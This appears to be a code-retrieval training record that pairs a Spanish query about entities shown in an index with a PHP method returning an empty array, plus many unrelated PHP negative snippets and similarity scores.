'maxlength' => AppConstants::INDEXED_STRINGS_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'startDate' => ['type' => 'date', 'attr' => ['required' => true]],\n 'endDate' => ['type' => 'date', 'attr' => ['required' => true]],\n 'price' => ['attr' => ['max' => AppConstants::SMALL_INTEGER_MAXIMUM_VALUE]],\n 'type' => ['type' => 'translated', 'attr' => ['max' => AppConstants::SMALL_INTEGER_MAXIMUM_VALUE]],\n // 'major_id' => ['type'=>'reference','attr' => ['maxlength' => AppConstants::STRINGS_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'requiredNumberOfUsers' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'appliedUsersCount' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'language' => ['details-type' => 'multi-data'],\n 'location' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'workHoursCount' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'willTakeCertificate' => ['type' => 'boolean', 'attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n // 'major' => [\n // 'type' => 'reference',\n // 'reference' => 'major.name',\n // 'displayColumn' => 'major.name',\n // ],\n 'company' => [\n 'type' => 'reference',\n 'reference' => 'company.name',\n 'displayColumn' => 'company.name',\n ],\n 'requiredNumberOfUsers' => ['attr' => ['max' => AppConstants::SMALL_INTEGER_MAXIMUM_VALUE]],\n 'briefDescription' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'fullDescription' => ['attr' => ['required' => true, 'maxlength' => AppConstants::TEXT_MAXIMUM_LENGTH, 'minlength' => AppConstants::STRINGS_MINIMUM_LENGTH]],\n 'majors' => ['details-type' => 'multi-data-majors'],\n\n ];\n }", "function recuperarContrasenia(){\n\t\t$opt \t\t= $this->uri->segment(1);\n\t\t$op['opt'] \t\t= $this->data_model->cargarOptimizacion($opt);\n\n\t\t//validacion para identificar tipo de usuario y desglosar info\n\t\t$user\t\t\t\t= $this->session->userdata('user');\n\t\t$op['info']\t\t\t= array();\n\n\t\t//Vista//\n\t\t$this->load->view('recuperarContraseniaGracias-view' ,$op);\n\t\n\t}", "function LoadSearchValues() {\r\n\t\tglobal $objForm;\r\n\r\n\t\t// Load search values\r\n\t\t// Nama\r\n\r\n\t\t$this->Nama->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Nama\"));\r\n\t\t$this->Nama->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Nama\");\r\n\r\n\t\t// Provinsi\r\n\t\t$this->Provinsi->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Provinsi\"));\r\n\t\t$this->Provinsi->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Provinsi\");\r\n\r\n\t\t// Area\r\n\t\t$this->Area->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Area\"));\r\n\t\t$this->Area->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Area\");\r\n\r\n\t\t// CP\r\n\t\t$this->CP->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_CP\"));\r\n\t\t$this->CP->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_CP\");\r\n\r\n\t\t// Tanggal\r\n\t\t$this->Tanggal->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Tanggal\"));\r\n\t\t$this->Tanggal->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Tanggal\");\r\n\t\t$this->Tanggal->AdvancedSearch->SearchCondition = $objForm->GetValue(\"v_Tanggal\");\r\n\t\t$this->Tanggal->AdvancedSearch->SearchValue2 = ew_StripSlashes($objForm->GetValue(\"y_Tanggal\"));\r\n\t\t$this->Tanggal->AdvancedSearch->SearchOperator2 = $objForm->GetValue(\"w_Tanggal\");\r\n\r\n\t\t// Vechicle\r\n\t\t$this->Vechicle->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Vechicle\"));\r\n\t\t$this->Vechicle->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Vechicle\");\r\n\r\n\t\t// Type\r\n\t\t$this->Type->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Type\"));\r\n\t\t$this->Type->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Type\");\r\n\r\n\t\t// Site\r\n\t\t$this->Site->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Site\"));\r\n\t\t$this->Site->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Site\");\r\n\r\n\t\t// Status\r\n\t\t$this->Status->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_Status\"));\r\n\t\t$this->Status->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_Status\");\r\n\r\n\t\t// visit\r\n\t\t$this->visit->AdvancedSearch->SearchValue = ew_StripSlashes($objForm->GetValue(\"x_visit\"));\r\n\t\t$this->visit->AdvancedSearch->SearchOperator = $objForm->GetValue(\"z_visit\");\r\n\t}", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->x22_codcalc = ($this->x22_codcalc == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_codcalc\"]:$this->x22_codcalc);\n $this->x22_codconsumo = ($this->x22_codconsumo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_codconsumo\"]:$this->x22_codconsumo);\n $this->x22_exerc = ($this->x22_exerc == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_exerc\"]:$this->x22_exerc);\n $this->x22_mes = ($this->x22_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_mes\"]:$this->x22_mes);\n $this->x22_matric = ($this->x22_matric == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_matric\"]:$this->x22_matric);\n $this->x22_area = ($this->x22_area == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_area\"]:$this->x22_area);\n $this->x22_numpre = ($this->x22_numpre == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_numpre\"]:$this->x22_numpre);\n $this->x22_manual = ($this->x22_manual == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_manual\"]:$this->x22_manual);\n $this->x22_tipo = ($this->x22_tipo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_tipo\"]:$this->x22_tipo);\n if($this->x22_data == \"\"){\n $this->x22_data_dia = ($this->x22_data_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_data_dia\"]:$this->x22_data_dia);\n $this->x22_data_mes = ($this->x22_data_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_data_mes\"]:$this->x22_data_mes);\n $this->x22_data_ano = ($this->x22_data_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_data_ano\"]:$this->x22_data_ano);\n if($this->x22_data_dia != \"\"){\n $this->x22_data = $this->x22_data_ano.\"-\".$this->x22_data_mes.\"-\".$this->x22_data_dia;\n }\n }\n $this->x22_hora = ($this->x22_hora == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_hora\"]:$this->x22_hora);\n $this->x22_usuario = ($this->x22_usuario == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_usuario\"]:$this->x22_usuario);\n $this->x22_aguacontrato = ($this->x22_aguacontrato == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_aguacontrato\"]:$this->x22_aguacontrato);\n $this->x22_aguacontratoeconomia = ($this->x22_aguacontratoeconomia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_aguacontratoeconomia\"]:$this->x22_aguacontratoeconomia);\n $this->x22_responsavelpagamento = ($this->x22_responsavelpagamento == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_responsavelpagamento\"]:$this->x22_responsavelpagamento);\n }else{\n $this->x22_codcalc = ($this->x22_codcalc == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"x22_codcalc\"]:$this->x22_codcalc);\n }\n }", "function conf(){\n $this->s__perfil = toba::manejador_sesiones()->get_perfiles_funcionales();\n // print_r($this->s__perfil); \n \n $p = array_search('autoridad_mesa', $this->s__perfil);\n if($p !== false){//Es autoridad de mesa\n //Cargar datos del usuario especifico\n //obtengo el nombre de usuario logueado\n $usr = toba::manejador_sesiones()->get_id_usuario_instancia();\n \n $id_mesa = $this->dep('datos')->tabla('mesa')->get_de_usr($usr);\n if(sizeof($id_mesa)>0){\n $this->s__id_mesa = $id_mesa[0]['id_mesa'];\n $datos['id_mesa'] = $this->s__id_mesa;\n $this->dep('datos')->tabla('mesa')->cargar($datos);\n $this->s__mesa = $this->dep('datos')->tabla('mesa')->get();\n \n if($this->s__mesa['estado'] >= 2){//Ya fue validado por la secretaria\n $this->controlador()->evento('procesar')->ocultar();\n $this->controlador()->evento('enviar')->ocultar();\n }\n }\n else//No se encuentra mesa asociada al usuario logueado\n toba::notificacion()->agregar(\"No se encuentra el usuario ingresado\",\"info\");\n }\n else{\n $this->s__id_mesa = toba::memoria()->get_parametro('c');//el parametro c tiene el id mesa\n \n $this->s__retorno = toba::memoria()->get_parametro('k');//el parametro k tiene la dir de retorno\n $this->s__retorno_estado = toba::memoria()->get_parametro('f');\n \n \n $datos['id_mesa'] = $this->s__id_mesa;\n $this->dep('datos')->tabla('mesa')->cargar($datos);\n $this->s__mesa = $this->dep('datos')->tabla('mesa')->get();\n \t\n $p = array_search('junta_electoral', $this->s__perfil);\n if($p !== false){//Es junta electoral\n $this->controlador()->evento('procesar')->set_etiqueta('Confirmar');\n $this->controlador()->evento('enviar')->ocultar();\n\n if($this->s__mesa['estado'] > 3){//Ya fue validado por la secretaria\n// $this->dep('form_ml_directivo')->set_solo_lectura('votos');\n// $this->dep('form_ml_superior')->set_solo_lectura('votos');\n// $this->dep('form_ml_extra')->set_solo_lectura('votos');\n $this->controlador()->evento('procesar')->ocultar();\n $this->controlador()->evento('enviar')->ocultar();\n }\n }\n else{\n $p = array_search('secretaria', $this->s__perfil);//print_r(isset($p)?'no es false':'es false');\n if($p !== false){//Es secretaria\n $this->controlador()->evento('procesar')->set_etiqueta('Validar');\n $this->controlador()->evento('enviar')->ocultar();\n\n }\n \n }\n }\n \n if(isset($this->s__id_mesa)){//Si el pedido viene de la operacion Confirmar/Cargar// \n $this->s__claustro = $this->s__mesa['id_claustro'];\n $this->s__id_nro_ue = $this->dep('datos')->tabla('sede')->get_unidad($this->s__mesa['id_sede']);\n $this->s__id_sede = $this->s__mesa['id_sede'];\n }\n }" ]
[ "0.67832613", "0.6684964", "0.65259963", "0.6524819", "0.6465364", "0.646385", "0.64219564", "0.63752073", "0.6344737", "0.6312962", "0.62239313", "0.6182615", "0.6175931", "0.61070144", "0.6094778", "0.60748637", "0.6048201", "0.603091", "0.59986013", "0.59892154", "0.59555864", "0.5928043", "0.59225804", "0.5891572", "0.58794445", "0.5870967", "0.58403456", "0.5839702", "0.580738", "0.576762", "0.5730386", "0.57108986", "0.5696384", "0.56862986", "0.5678426", "0.5665784", "0.56629115", "0.5652181", "0.56350607", "0.56287444", "0.56264424", "0.56244546", "0.5620004", "0.56164634", "0.5615703", "0.56016374", "0.5594066", "0.558863", "0.5550452", "0.5544831", "0.55335015", "0.55284864", "0.55183506", "0.55082947", "0.5506698", "0.55038023", "0.5489467", "0.54891276", "0.5478823", "0.54757327", "0.54583436", "0.5456938", "0.54562104", "0.54477", "0.5444375", "0.5444231", "0.5437083", "0.5434333", "0.5430685", "0.5430383", "0.5429213", "0.54267067", "0.5424644", "0.5422334", "0.5414145", "0.5411283", "0.5410717", "0.54083073", "0.5404678", "0.5400947", "0.5399721", "0.5397741", "0.53964764", "0.5391845", "0.5387376", "0.5384713", "0.5382886", "0.5376319", "0.5375132", "0.5374039", "0.5371834", "0.5366192", "0.53642803", "0.5362641", "0.5361738", "0.53589314", "0.53576565", "0.5354352", "0.53449357", "0.5339411", "0.53361136" ]
0.0
-1
Para sustituir las entidades que se muestran en el index
public function indexActionEntities() { return []; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function _INDEX()\n\t{\n\t\t\n\t}", "public function getIndex();", "public function getIndex();", "public function getIndex();", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "public function buildIndex();", "abstract protected function getIndexTableFields();", "public function getIndex()\n {\n // add stuff here\n }", "public function postIndex()\n {\n $request = request()->except('_token');\n\n $validator = Validator::make($request,\n [\n 'filters.index' => 'required',\n 'filters.type' => 'required',\n ]);\n\n if ($validator->fails()) {\n return back()->with('error_message', 'Spiacenti, dovete selezionare almeno un indice ed una tipologia sulla quale effettuare l\\'operazione');\n }\n\n $index = trim($request['filters']['index']);\n $type = trim($request['filters']['type']);\n\n\n if ((!request()->has('id')) AND (request()->has('operation') AND request()->get('operation') !== \"create\")) {\n\n $page =1;\n if(request()->has('pagehit')) $page = (request()->input('pagehit') / (config('elasticquent.max_result','20')));\n\n\n $model = new GenericEntity($type, $index);\n\n $input = ['metadata'=>[]];\n if(request()->has('metadata'))$input = request()->only('metadata');\n\n\n try {\n\n $purgedInput = array_map('array_filter', $input);\n\n $results = $model->get($purgedInput['metadata'], [], $page);\n } catch (CouldNotConnectToHost $e) {\n return back()->with('error_message', 'Spiacenti, il servizio non è disponibile');\n } catch (EntityNotFoundException $e) {\n return back()->with('error_message', 'Spiacenti, nessun risultato trovato');\n }\n\n\n $finalResults = [];\n $element = [];\n $tableHead = ['id'];\n\n foreach ($results['hits']['hits'] as $result) {\n $finalResult = $result['_source'];\n foreach ($finalResult as $key => $item) {\n\n\n $element[$key] = $item;\n if (!in_array($key, $tableHead) and !is_array($item) and !(strpos($key, 'id'))) $tableHead[] = $key;\n\n }\n $element['id'] = $result['_id'];\n $finalResults[] = $element;\n }\n\n\n\n return view('admin.manage_entity.global_search', [\n 'indices' => $indices = $this->client->indices()->getMapping(),\n 'filters' => $request['filters'],\n 'results' => $finalResults,\n 'hits' => $results['hits']['total'],\n 'pagehit' => $page,\n 'tableHead' => $tableHead,\n 'type' => $type\n ]);\n\n } elseif (request()->has('operation') AND request()->get('operation') !== \"create\") {\n\n if (request()->has('id')) {\n if (request()->has('operation') AND request()->get('operation') === \"edit\") {\n return redirect()->to('/entity/edit/' . $index . '/' . $type . '/' . trim(request()->get('id')));\n }\n if (request()->has('operation') AND request()->get('operation') === \"delete\") {\n return redirect()->to('/entity/delete/' . $index . '/' . $type . '/' . trim(request()->get('id')));\n } else return redirect()->to('/entity/show/' . $index . '/' . $type . '/' . trim(request()->get('id')));\n }\n } else {\n return redirect()->to('/entity/create/' . $index . '/' . $type);\n }\n }", "public function index(IndexableEntity $entity);", "public function takeIndex()\n\t\t{\n\t\t\t$this->csv->takeIndexCSV();\n\t\t\t$this->txt->takeIndexTXT();\n\t\t}", "private function rebuildIndex()\n {\n foreach ($this->rows as $id => $row) {\n $label = $row->getColumn('label');\n if ($label !== false) {\n $this->rowsIndexByLabel[$label] = $id;\n }\n }\n $this->indexNotUpToDate = false;\n }", "private function __createIndex() {\n $lock_file = $this->getTmpPath('lock.dat');\n\n if (file_exists($lock_file)) return false;\n file_put_contents($lock_file, '');\n\n\n\t\tif (function_exists('ignore_user_abort'))\n\t\t\tignore_user_abort();\n\t\tif (function_exists('set_time_limit'))\n\t\t\tset_time_limit(180);\n\n\n\t\t$this->Model->truncateTable();\n\t\tforeach ($this->tables as $table) {\n\t\t\t$className = $this->Register['ModManager']->getModelNameFromModule($table);\n\t\t\t$Model = new $className;\n\t\t\t\n\t\t\tfor ($i = 1; $i < 10000; $i++) {\n\t\t\t\t$records = $Model->getCollection(array(), array('limit' => 100, 'page' => $i));\n\t\t\t\tif (empty($records)) break;\n\n\n\t\t\t\tif (count($records) && is_array($records)) {\n\t\t\t\t\tforeach ($records as $rec) {\n\n\t\t\t\t\t\tswitch ($table) {\n\t\t\t\t\t\t\tcase 'news':\n\t\t\t\t\t\t\tcase 'stat':\n\t\t\t\t\t\t\tcase 'loads':\n\t\t\t\t\t\t\t\t$text = $rec->getTitle() . ' ' . $rec->getMain() . ' ' . $rec->getTags();\n\t\t\t\t\t\t\t\tif (mb_strlen($text) < $this->minInputStr || !is_string($text))\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t$entity_view = '/view/';\n\t\t\t\t\t\t\t\t$module = $table;\n\t\t\t\t\t\t\t\t$entity_id = $rec->getId();\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'posts':\n\t\t\t\t\t\t\t\t$text = $rec->getMessage();\n\t\t\t\t\t\t\t\t$entity_view = '/view_theme/';\n\t\t\t\t\t\t\t\t$module = 'forum';\n\t\t\t\t\t\t\t\t$entity_id = $rec->getId_theme();\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'themes':\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t$text = $rec->gettitle() . ' ' . $rec->getMain() . ' ' . $rec->getTags();\n\t\t\t\t\t\t\t\tif (mb_strlen($text) < $this->minInputStr || !is_string($text))\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t$entity_view = '/view/';\n\t\t\t\t\t\t\t\t$module = $table;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t//we must update record if an exists\n\t\t\t\t\t\t$data = array(\n\t\t\t\t\t\t\t'index' => $text,\n\t\t\t\t\t\t\t'entity_id' => $entity_id,\n\t\t\t\t\t\t\t'entity_title' => $rec->getTitle(),\n\t\t\t\t\t\t\t'entity_table' => $table,\n\t\t\t\t\t\t\t'entity_view' => $entity_view,\n\t\t\t\t\t\t\t'module' => $module,\n\t\t\t\t\t\t\t'date' => new Expr('NOW()'),\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$entity = new SearchEntity($data);\n\t\t\t\t\t\t$entity->save();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n unlink($lock_file);\n\t}", "function index_all(){\n\t\t$this->_clear_tmp(0);\n\t\t$this->del_results();\n\t\treturn $this->index(0,true);\n\t}", "function getIndicesImpact($list_agence) {\n\n global $dbHandler,$global_id_agence;\n $db = $dbHandler->openConnection();\n $DATA['general']['nombre_moyen_gs']=0;\n $DATA['clients']['pp'] = 0;\n $DATA['clients']['homme'] = 0;\n $DATA['clients']['femme'] = 0;\n $DATA['clients']['pm'] = 0;\n $DATA['clients']['gi'] = 0;\n $DATA['clients']['gs'] = 0;\n $DATA['clients']['total']=0;\n $DATA['epargnants']['pp'] = 0;\n $DATA['epargnants']['homme'] = 0;\n $DATA['epargnants']['femme'] = 0;\n $DATA['epargnants']['pm'] = 0;\n $DATA['epargnants']['gi'] = 0;\n $DATA['epargnants']['gs'] = 0;\n $DATA['epargnants']['total']=0;\n $DATA['emprunteurs']['pp'] = 0;\n $DATA['emprunteurs']['homme'] = 0;\n $DATA['emprunteurs']['femme'] = 0;\n $DATA['emprunteurs']['pm'] = 0;\n $DATA['emprunteurs']['gi'] = 0;\n $DATA['emprunteurs']['gs'] = 0;\n $DATA['general']['total_membre_empr_gi'] = 0;\n $DATA['general']['total_membre_empr_gs'] = 0;\n $DATA['general']['nombre_moyen_gi'] =0;\n $DATA['general']['nombre_moyen_gs'] =0;\n $DATA['general']['gi_nbre_membre'] =0;\n $DATA['general']['gs_nbre_membre'] =0;\n $DATA['general']['gs_nbre_hommes'] =0;\n $DATA['general']['gs_nbre_femmes'] =0;\n $nb_agence=0;\n foreach($list_agence as $key_id_ag =>$value) {\n //Parcours des agences\n setGlobalIdAgence($key_id_ag);\n $nb_agence++;\n // Nombre de clients\n $sql = \"SELECT statut_juridique, pp_sexe, count(id_client) FROM ad_cli WHERE id_ag=$global_id_agence AND etat = 2 GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['clients']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['clients']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['clients']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['clients']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['clients']['femme'] += $row['count'];\n }\n }\n\n $DATA['clients']['pp'] += $DATA['clients']['homme'] + $DATA['clients']['femme'];\n $DATA['clients']['total'] += $DATA['clients']['pp'] + $DATA['clients']['pm'] + $DATA['clients']['gi'] + $DATA['clients']['gs'];\n\n if ($DATA['clients']['pp'] == 0) {\n $DATA['clients']['pourcentage_homme'] = 0;\n $DATA['clients']['pourcentage_femme'] = 0;\n } else {\n $DATA['clients']['pourcentage_homme'] = $DATA['clients']['homme'] / $DATA['clients']['pp'];\n $DATA['clients']['pourcentage_femme'] = $DATA['clients']['femme'] / $DATA['clients']['pp'];\n }\n\n // Nombre d'épargnants\n $sql = \"SELECT statut_juridique, pp_sexe, count(id_client) FROM ad_cli WHERE id_ag=$global_id_agence AND (SELECT count(*) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_client = id_titulaire AND id_prod <> 2 AND id_prod <> 3 AND solde <> 0) > 0 GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['epargnants']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['epargnants']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['epargnants']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['epargnants']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['epargnants']['femme'] += $row['count'];\n }\n }\n\n $DATA['epargnants']['pp'] += $DATA['epargnants']['homme'] + $DATA['epargnants']['femme'];\n $DATA['epargnants']['total'] += $DATA['epargnants']['pp'] + $DATA['epargnants']['pm'] + $DATA['epargnants']['gi'] + $DATA['epargnants']['gs'];\n\n if ($DATA['epargnants']['pp'] == 0) {\n $DATA['epargnants']['pourcentage_homme'] = 0;\n $DATA['epargnants']['pourcentage_femme'] = 0;\n } else {\n $DATA['epargnants']['pourcentage_homme'] = $DATA['epargnants']['homme'] / $DATA['epargnants']['pp'];\n $DATA['epargnants']['pourcentage_femme'] = $DATA['epargnants']['femme'] / $DATA['epargnants']['pp'];\n }\n\n\n // Nombre d'emprunteurs\n $sql = \"SELECT statut_juridique, pp_sexe, count(ad_cli.id_client) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['emprunteurs']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['emprunteurs']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['emprunteurs']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['emprunteurs']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['emprunteurs']['femme'] += $row['count'];\n }\n }\n\n $DATA['emprunteurs']['pp'] += $DATA['emprunteurs']['homme'] + $DATA['emprunteurs']['femme'];\n $DATA['emprunteurs']['total'] += $DATA['emprunteurs']['pp'] + $DATA['emprunteurs']['pm'] + $DATA['emprunteurs']['gi'] + $DATA['emprunteurs']['gs'];\n\n if ($DATA['emprunteurs']['pp'] == 0) {\n $DATA['emprunteurs']['pourcentage_homme'] = 0;\n $DATA['emprunteurs']['pourcentage_femme'] = 0;\n } else {\n $DATA['emprunteurs']['pourcentage_homme'] = $DATA['emprunteurs']['homme'] / $DATA['emprunteurs']['pp'];\n $DATA['emprunteurs']['pourcentage_femme'] = $DATA['emprunteurs']['femme'] / $DATA['emprunteurs']['pp'];\n }\n\n // Nombre total de membres emprunteurs par groupe informel\n $sql = \"SELECT SUM(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 3\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_membre_empr_gi'] += round($row[0]);\n\n // Nombre total de membres emprunteurs par groupe solidaire\n $sql = \"SELECT SUM(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 4\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_membre_empr_gs'] += round($row[0]);\n\n // Nombre total d'hommes groupe solidaire\n $sql = \"SELECT count(*) FROM ad_grp_sol,ad_cli where id_client=id_membre AND pp_sexe= 1 \";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_homme_gs'] = round($row[0]);\n // Nombre total de femmes groupe solidaire\n $sql = \"SELECT count(*) FROM ad_grp_sol,ad_cli where id_client=id_membre AND pp_sexe= 2 \";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_femme_gs'] = round($row[0]);\n\n // Nombre moyen de membres par groupe informel\n $sql = \"SELECT AVG(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 3\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['nombre_moyen_gi'] += round($row[0]);\n\n // Nombre moyen de membres par groupe solidaire\n $sql = \"SELECT AVG(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 4\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['nombre_moyen_gs'] += round($row[0]);\n }\n $DATA['general']['nombre_moyen_gi']=$DATA['general']['nombre_moyen_gi']/$nb_agence;\n $DATA['general']['nombre_moyen_gs']=$DATA['general']['nombre_moyen_gs']/$nb_agence;\n $dbHandler->closeConnection(true);\n return $DATA;\n}", "abstract protected function getIndex();", "public function index(): Relation;", "function getIndex() ;", 